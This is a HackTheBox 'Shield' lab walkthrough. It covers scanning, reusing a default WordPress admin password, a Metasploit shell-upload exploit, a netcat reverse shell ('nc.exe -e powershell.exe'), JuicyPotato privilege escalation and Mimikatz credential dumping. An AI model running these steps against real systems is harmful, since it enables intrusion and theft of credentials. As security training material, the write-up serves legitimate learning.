HTB Starting point – Shield

$ ./

[+] scan started...
[-] Open ports : 80,3306 found

Starting Nmap 7.80 ( ) at 2020-05-09 19:58 CEST
Nmap scan report for
Host is up (0.044s latency).

80/tcp   open  http    Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3306/tcp open  mysql   MySQL (unauthorized)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 9.69 seconds
[+] scan finished...
  • Port 80 is open (Microsoft IIS running)

Let’s try to see what’s inside…

$ gobuster dir -u /usr/share/wordlists/dirb/common.txt

Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/05/11 23:20:50 Starting gobuster
/index.php (Status: 301)
/wp-admin (Status: 301)
/wp-content (Status: 301)
/wp-includes (Status: 301)
2020/05/11 23:21:14 Finished
  • There is a WordPress instance.

The usual WordPress login site is: wp-login.php

Access to:

  • Following the last machine’s general rule (let’s try old credentials): admin/P@s5w0rd! will work fine.

Access to the WordPress Control Panel.

Let’s use a wp_admin_shell_upload Metasploit exploit to obtain a functional shell.

$ msfconsole
msf5 > use exploit/unix/webapp/wp_admin_shell_upload

What do we need to use this exploit?

msf5 exploit(unix/webapp/wp_admin_shell_upload) > options

Module options (exploit/unix/webapp/wp_admin_shell_upload):

  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  PASSWORD                    yes       The WordPress password to authenticate with
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The base path to the wordpress application
  USERNAME                    yes       The WordPress username to authenticate with
  VHOST                       no        HTTP server virtual host

Exploit target:
  Id  Name
  --  ----
  0   WordPress

Set the corresponding options and run the exploit.

Done we’ve got a meterpreter shell.

Now can upload a Netcat executable to be able to get a more stable shell.

meterpreter > lcd /home/ruben/Downloads
meterpreter > cd C:/inetpub/wwwroot/wordpress/wp-content/uploads

meterpreter > upload nc.exe

From another local shell:

$ nc -lnvp 1234

meterpreter > sysinfo

Computer    : SHIELD
OS          : Windows NT SHIELD 10.0 build 14393 (Windows Server 2016) i586
Meterpreter : php/windows

As the OS is Windows Server 2016 it can vulnerable to the Rotten Potato exploit.

Juicy Potato is a variant of the exploit that allows service accounts on Windows to escalate to SYSTEM (highest privileges) by leveraging the BITS and the SeAssignPrimaryToken or SeImpersonate privilege in a MiTM attack.

meterpreter > upload JuicyPotato.exe

[*] uploading  : JuicyPotato.exe -> JuicyPotato.exe
[*] Uploaded -1.00 B of 339.50 KiB (-0.0%): JuicyPotato.exe -> JuicyPotato.exe
[*] uploaded   : JuicyPotato.exe -> JuicyPotato.exe

Create a shell file to run a shell using the Juicy Potato exploit.

echo START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 1111 > rf.bat
meterpreter > upload rf.bat

Run the bat file.

Now we’ve got another shell.
This time we are admin.

We can get finally the flag.

There’s a user called sandra but no flag was found in the Desktop as usual.

In this point we currently own this machine but we can do a little more.

Run Mimikatz:

According to it’s Github description:

Mimikatz is a tool I’ve made to learn C and make some experiments with Windows security. It’s now well known to extract plaintexts passwords, hash, PIN code and Kerberos tickets from memory. Mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets.

List all available provider credentials. This usually shows recently logged on user and computer credentials.

Finally we obtain Sandra’s password.

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